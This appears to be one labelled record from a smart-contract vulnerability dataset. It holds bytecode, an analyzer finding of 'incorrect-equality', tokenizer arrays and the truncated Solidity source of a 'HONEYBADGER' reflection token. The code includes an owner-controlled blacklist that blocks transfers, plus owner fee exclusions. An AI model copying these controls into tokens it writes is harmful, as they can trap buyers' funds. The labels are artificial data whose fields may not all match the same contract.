b15801561238457600080fd5b505af1158015612398573d6000803e3d6000fd5b50505050505b60007f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4906001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561240d57600080fd5b505afa158015612421573d6000803e3d6000fd5b505050506040513d602081101561243757600080fd5b505190508015610aa1576124966001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a600061204e565b6124ea6001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a8361204e565b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b031663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561255057600080fd5b505af1158015612564573d6000803e3d6000fd5b5050505050505050565b600081836125fa5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125bf5781810151838201526020016125a7565b50505050905090810190601f1680156125ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161260657fe5b0495945050505050565b600081848411156126625760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156125bf5781810151838201526020016125a7565b505050900390565b60606126bf826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661271b9092919063ffffffff16565b805190915015611fef578080602001905160208110156126de57600080fd5b5051611fef5760405162461bcd60e51b815260040180806020018281038252602a8152602001806128e5602a913960400191505060405180910390fd5b606061272a8484600085612732565b949350505050565b606061273d8561289f565b61278e576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106127cd5780518252601f1990920191602091820191016127ae565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461282f576040519150601f19603f3d011682016040523d82523d6000602084013e612834565b606091505b5091509150811561284857915061272a9050565b8051156128585780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156125bf5781810151838201526020016125a7565b3b151590565b6040518060600160405280600390602082028036833750919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220a7ac59ea98aaa7892fd243a50d6fb44dadff3f3ee6053460b0d6744e68235a5b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 14141, 21486, 2575, 2497, 2692, 2278, 2575, 2497, 2581, 2683, 2683, 2094, 2575, 2063, 16576, 4246, 2549, 2063, 17465, 2850, 2692, 29292, 2692, 2050, 2620, 2050, 2620, 2581, 2278, 26187, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,476
0x96dd62c193df9906ccd2ef3c3cbe1a55d3448929
pragma solidity ^0.8.3; // SPDX-License-Identifier: Unlicensed /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract HONEYBADGER is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "HONEYBADGER"; // name string private _symbol = "HONEYBADGER"; // symbol uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals); // % to holders uint256 public defaultTaxFee = 3; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 7; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 7; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(49); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x22A61523D4da4983392c7436346B6806f4b1e317); // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public _isBlacklisted; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } 